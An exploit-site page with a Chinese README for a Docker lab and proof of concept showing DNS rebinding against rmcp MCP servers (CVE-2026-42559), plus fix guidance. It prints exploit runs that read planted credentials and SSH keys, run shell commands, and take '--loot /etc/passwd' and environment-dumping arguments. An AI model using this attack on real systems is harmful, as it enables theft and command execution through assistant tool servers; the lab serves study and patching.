Sploitus

Exploit for CVE-2026-42559

kitploit · 2026-09-07

Exploit Code

MARKDOWN168 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JOAOVICDEV-CVE-2026-42559
# CVE-2026-42559 — `rmcp` Streamable HTTP 服务器传输中的 DNS 重绑定漏洞

一个自包含的 Docker 实验环境和 Python 概念验证(PoC),用于演示 **CVE-2026-42559** (GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189)。

|   
---|---  
受影响版本| `rmcp` — 模型上下文协议的官方 Rust SDK — `< 1.4.0`  
修复版本| `1.4.0`(2026-04-10)  
CWE| CWE-346(来源验证错误)、CWE-350  
CVSS 3.1| 8.8 高危 — `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`  
  
## 漏洞详情

`rmcp < 1.4.0` 中的 Streamable HTTP 服务器传输从未检查入站的 `Host` 头。MCP 服务器通常绑定到回环地址,仅受浏览器的同源策略保护——而 DNS 重绑定可以绕过这一策略:

  1. 受害者访问 `http://evil.example`,该页面使用 1 秒的 DNS TTL 提供服务。
  2. 页面等待记录被重新解析。此时攻击者的 DNS 返回 `evil.example → 127.0.0.1`。
  3. 页面调用 `fetch("http://evil.example:8000/mcp", …)`。该请求到达受害者 _本地_ 的 MCP 服务器,但浏览器仍将其视为同源请求——无需 CORS 预检,JavaScript 可以读取所有响应。



将该请求与合法请求区分开的唯一因素是 `Host` 头:`evil.example:8000` 而不是 `127.0.0.1:8000`。由于没有验证,攻击者的页面可以获得完整的 MCP 会话,并枚举和调用服务器暴露的所有工具——文件读取、写入、shell 执行,以及助手被配置的任何操作。

`1.4.0` 版本新增了 `StreamableHttpServerConfig::allowed_hosts`,默认值为 `["localhost", "127.0.0.1", "::1"]`,并在请求处理程序顶部添加了 `validate_dns_rebinding_headers()` 检查门,否则返回 `403 Forbidden`。

## 目录结构

root@kitploit:~
    
    
    .
    ├── docker-compose.yml       # 两个服务,相同源码,不同 rmcp 版本
    ├── mcp-server/              # 一个真实的"开发者助手"MCP 服务器
    │   ├── Cargo.toml
    │   ├── Dockerfile           # RMCP_VERSION 构建参数用于固定 crate 版本
    │   └── src/main.rs
    └── exploit/
        └── exploit.py           # PoC,Python 3.9+,无依赖
    

两个容器构建**相同的`src/main.rs`,使用相同的服务器配置**。 唯一的区别是固定的 crate 版本,因此行为变化完全来自库本身:

服务器暴露了 `whoami`、`read_file` 和 `run_command`,镜像中预置了位于 `/home/dev/project/.env` 和 `/home/dev/.ssh/id_ed25519` 的伪造凭据,以便漏洞利用有可窃取的目标。

## 运行方法

root@kitploit:~
    
    
    docker compose up -d --build
    

利用存在漏洞的构建版本:

root@kitploit:~
    
    
    python3 exploit/exploit.py --target 127.0.0.1:8000
    

root@kitploit:~
    
    
    CVE-2026-42559 :: rmcp Streamable HTTP -- Host 头未经验证
        target       http://127.0.0.1:8000/mcp
        legit Host   127.0.0.1:8000
        rebind Host  mcp-rebind.attacker.example:8000
    
    [*] 步骤 0:使用合法的 Host 头进行基线握手
    [+] 200 OK -- 服务器已启动:rmcp 1.3.0
    
    [*] 步骤 1:重放重绑定后的请求(Host: mcp-rebind.attacker.example:8000)
    [!] 200 OK -- 伪造的 Host 头被接受:存在 CVE-2026-42559 漏洞
    [+] 从外部来源打开了会话:Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
    
    [*] 步骤 2:枚举现在暴露给攻击者页面的工具
            - read_file    从工作站读取文件
            - run_command  在工作站上运行 shell 命令
            - whoami       描述此助手运行所在的工作站
    
    [*] 步骤 3:以攻击者页面作为本地 MCP 客户端的方式调用工具
        tools/call whoami
            | user=unknown host=35b31d892a7a pid=1
        tools/call read_file path=/home/dev/project/.env
            | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
            | DATABASE_URL=postgres://app:some-email@example.com:5432/app
        tools/call read_file path=/home/dev/.ssh/id_ed25519
            | -----BEGIN OPENSSH PRIVATE KEY-----
            | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
            | -----END OPENSSH PRIVATE KEY-----
        tools/call run_command command='id; uname -a'
            | uid=1000(dev) gid=1000(dev) groups=1000(dev)
            | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
    
    [!] 从网页实现对受害者主机的任意读取和命令执行
    

然后测试已修复的构建版本,以确认修复效果:

root@kitploit:~
    
    
    python3 exploit/exploit.py --target 127.0.0.1:8001
    

root@kitploit:~
    
    
    [*] 步骤 0:使用合法的 Host 头进行基线握手
    [+] 200 OK -- 服务器已启动:rmcp 1.4.0
    
    [*] 步骤 1:重放重绑定后的请求(Host: mcp-rebind.attacker.example:8001)
    [+] 403 Forbidden -- 禁止访问:Host 头不被允许
    [+] 不存在漏洞:此构建版本验证了 Host 头(rmcp >= 1.4.0)
    

当目标存在漏洞时退出码为 `1`,不存在漏洞时为 `0`,因此该脚本可以直接集成到 CI 中。

有用的参数:

root@kitploit:~
    
    
    python3 exploit/exploit.py \
      --target 127.0.0.1:8000 \
      --rebind-host wallet.attacker.example \
      --loot /etc/passwd \
      --command 'cat /proc/self/environ | tr "\0" "\n"'
    

使用 `docker compose down` 进行清理。

### 为什么 PoC 伪造头而不是运行 DNS 服务器

该漏洞利用程序向目标打开一个 TCP 连接,并写入一个由攻击者控制的 `Host` 头(`http.client.putrequest(..., skip_host=True)`)。这与重绑定浏览器发出的请求逐字节相同——DNS 重绑定只是让浏览器向回环套接字发送外部 `Host` 的机制。以这种方式复现可以将实验环境保持在两个容器内且无需 DNS 基础设施,同时精确测试 CVE 所涉及的代码路径。

## 在自己的服务器中修复

root@kitploit:~
    
    
    // 1. 升级。
    //    rmcp = "1.4"   (或更高版本)
    
    // 2. 从 1.4.0 起,仅回环地址是默认配置——对于本地绑定的服务器无需任何操作。
    let config = StreamableHttpServerConfig::default();
    
    // 3. 对于真正的公网部署,请将您自己的域名加入白名单。
    let config = StreamableHttpServerConfig::default()
        .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
    

如果无法升级,请将 MCP 端点置于拒绝未知 `Host` 值的反向代理之后,并且在没有此类代理的情况下不要将服务器绑定到 `0.0.0.0`。`disable_allowed_hosts()` 虽然存在,但会重新引入此确切漏洞。

## 参考资料

  * GHSA-89vp-x53w-74fx
  * NVD — CVE-2026-42559
  * Red Hat — CVE-2026-42559
  * Kodem Security — CVE-2026-42559
  * MCP 规范 — 传输安全



## 免责声明

此处所有内容均为故意存在漏洞,仅用于研究和教育目的。容器按设计暴露了 shell 执行工具——请仅在您自己拥有的机器上运行此实验环境,切勿将漏洞利用程序指向您未被授权测试的主机。